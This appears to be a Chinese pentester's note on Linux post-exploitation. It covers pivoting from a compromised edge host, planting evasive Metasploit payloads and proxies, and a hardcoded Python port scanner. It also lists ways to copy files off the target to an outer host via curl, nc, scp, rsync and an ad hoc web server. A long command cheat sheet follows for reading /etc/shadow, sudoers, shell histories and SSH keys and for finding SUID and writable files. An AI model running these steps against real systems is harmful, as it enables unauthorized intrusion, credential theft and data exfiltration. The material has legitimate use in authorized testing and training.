linux信息搜集
说一下场景,有些情况下,拿到边界机器后纵向拓展,内网套内网,工控设备前面的内网接入点可能就是一个arm或者阉割了的linux。
一个宗旨linux下面万物皆文件
收集到基础信息之后,内网资产收集,可以通过上传对应的frpc,npc,传msf的马子(免杀)添加路由代理socks,使用masscan+nmap进行内网空间测绘,还有一种类比于拿到windowsrdp登录权限传工具上去扫,传sh脚本或者python脚本在当前主机搜集,整理写了一个轻量化的单线程tcp扫描脚本
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
def portScanTu(host,port):
try:
s = socket(AF_INET,SOCK_STREAM)
s.connect((host,port))
print('[+] %d open' % port)
s.close()
except:
print('[-] %d close' % port)
def main():
setdefaulttimeout(1)
for p in range(1,1024):
portScanTu('172.20.1.11',p)
if __name__ == '__main__':
main()
当目标服务器有python的话就好说了,直接通过python进行资产测绘。
还有一个痛点,如何往外传文件,可以使用ew,venom(坑点,下周采坑)进行多级代理
外层主机搭建一个接收文件服务器,使用curl传
curl 172.20.1.1:5555/ -F "file=@/haha/image/img_1579831030539.jpeg"
scp传
scp 1.tar root@192.168.2.113:/tmp
nc传
目标机(接收机器):
nc -l 1234 >mysql-bin.000001
#源机器: 文件的发送端,启动监听端口并准备好相应的文件
nc 接收机ip 1234 < mysql-bin.000001
python起web服务往外传
python -m SimpleHTTPServer 9999
python3 -m http.server 9999
rsync传
rsync -P --rsh=ssh home.tar 192.168.205.34:/home/home.tar
当上述命令都没有时,转换一下思路,看是否有下载命令可用,直接下载上述命令
参考有关命令整理https://mp.weixin.qq.com/s/9fIzFM8vB6IgWoWatC_ICw
基础,获取内核,操作系统和设备信息
uname -a | 打印所有可用的系统信息 |
uname -r | 内核版本信息 |
uname -n | 系统主机名字 |
hostname | 主机名 |
uname -m | Linux内核架构(x86/x64) |
cat /proc/version | 内核信息 |
cat /etc/*-release | 发布信息 |
cat /etc/issue | 发布信息 |
cat /proc/cpuinfo | CPU信息 |
df -a | 文件系统信息 |
查看用户和组信息
cat /etc/passwd | 列出系统所有用户 |
cat /etc/group | 列出系统所有组 |
cat /etc/shadow | 列出所有用户hash(需要root权限) |
finger、finger user | 当前登录的用户、查询用户的基本信息 |
users | 当前登录的用户 |
who -a | 当前登录的用户 |
w | 显示目前登入系统的用户有那些人,以及他们正在执行的程序 |
last | 显示登入过的用户信息 |
lastlog | 显示系统中所有用户最近一次登录信息 |
lastlog –u %username% | 显示指定用户最后一次登入信息 |
用户权限信息
whoami | 当前用户 |
id | 当前用户信息 |
cat /etc/sudoers | 可以使用sudo提升到root的用户(需要root权限) |
sudo | 允许普通用户执行一些或者全部的root命令的一个工具 |
sudo -l | 列出目前用户可执行与无法执行的指令 |
su | 切换当前用户身份到其他用户身份 |
环境信息
env | 打印系统环境信息 |
set | 打印系统环境信息 |
echo $PATH | 环境变量中的路径信息 |
history | 打印历史命令 |
pwd | 显示当前路径 |
cat /etc/profile | 显示默认系统遍历 |
cat /etc/shells | 显示可用的shell |
有用的命令
find / -perm -4000 -type f | 查找SUID的文件 |
find / -uid 0 -perm -4000 -type f | 查找root权限的SUID文件 |
find / -perm -2 -type f | 找出可写的文件 |
find / ! -path "/proc/" -perm -2 -type f -print | 查找/proc以外的可写文件 |
find / -perm -2 -type d | 找出可写目录 |
find /home –name *.rhosts -print | 查找rhosts的配置文件 |
find /home -iname *.plan -exec ls -la {} ; -exec cat {} | 查询文件并打印 |
ls -ahlR /root/ | 查看是否有权限列用户目录 |
cat ~/.bash_history | 查看当前用户的历史记录 |
ls -la ~/.*_history | 查看当前用户的各种历史记录 |
ls -la ~/.ssh/ | 查看用户ssh登录信息 |
ls -la /usr/sbin/in.* | 检查inetd服务的配置 |
grep -l -i pass /var/log/*.log | 查询包含pass的日志并打印匹配到的行 |
ls -la /etc/*.conf | 列出/etc/下的所有配置文件 |
lsof -i -n | 列出打开的文件 |
head /var/mail/root | 答应/var/mail/root的开头 |
服务信息
ps aux | 查看进程信息 |
cat /etc/inetd.conf | 由inetd管理的服务列表 |
cat /etc/xinetd.conf | 由xinetd管理的服务列表 |
cat /etc/exports | nfs服务器的配置 |
作业和任务
crontab -l -u %username% | 显示指定用户的计划作业(需要root权限) |
ls -la /etc/cron* | 计划任务 |
top | 列出当前进程 |
网络、路由和通信
/sbin/ifconfig -a | 列出网络接口信息 |
cat /etc/network/interfaces | 列出网络接口信息 |
arp -a | 查看系统arp表 |
route | 打印如有信息 |
cat /etc/resolv.conf | 查看dns配置信息 |
netstat -an | 打印本地端口开放信息 |
iptables -L | 列出iptable的配置规则 |
cat /etc/services | 查看端口服务映射 |
软件信息
dpkg -l | 软件安装(Debian) |
rpm -qa | 软件安装(Red Hat) |
sudo -V | 查看sudo的版本信息 |
httpd -v | 查看apache的版本信息 |
apache2 -v | 查看apache的版本信息 |
apache2ctl (or apachectl) -M | 列出加载的apache模块 |
mysql --version | mysql的版本信息 |
psql -V | Postgres数据库的版本信息 |
perl -v | perl的版本信息 |
java -version | java的版本信息 |
python --version | python的版本信息 |
ruby -v | ruby的版本信息 |
find / -name %program_name% | 查找有用的软件 |
which %program_name% | 查找有用的软件 |
cat /etc/apache2/envvars | 查看运行apache的帐号 |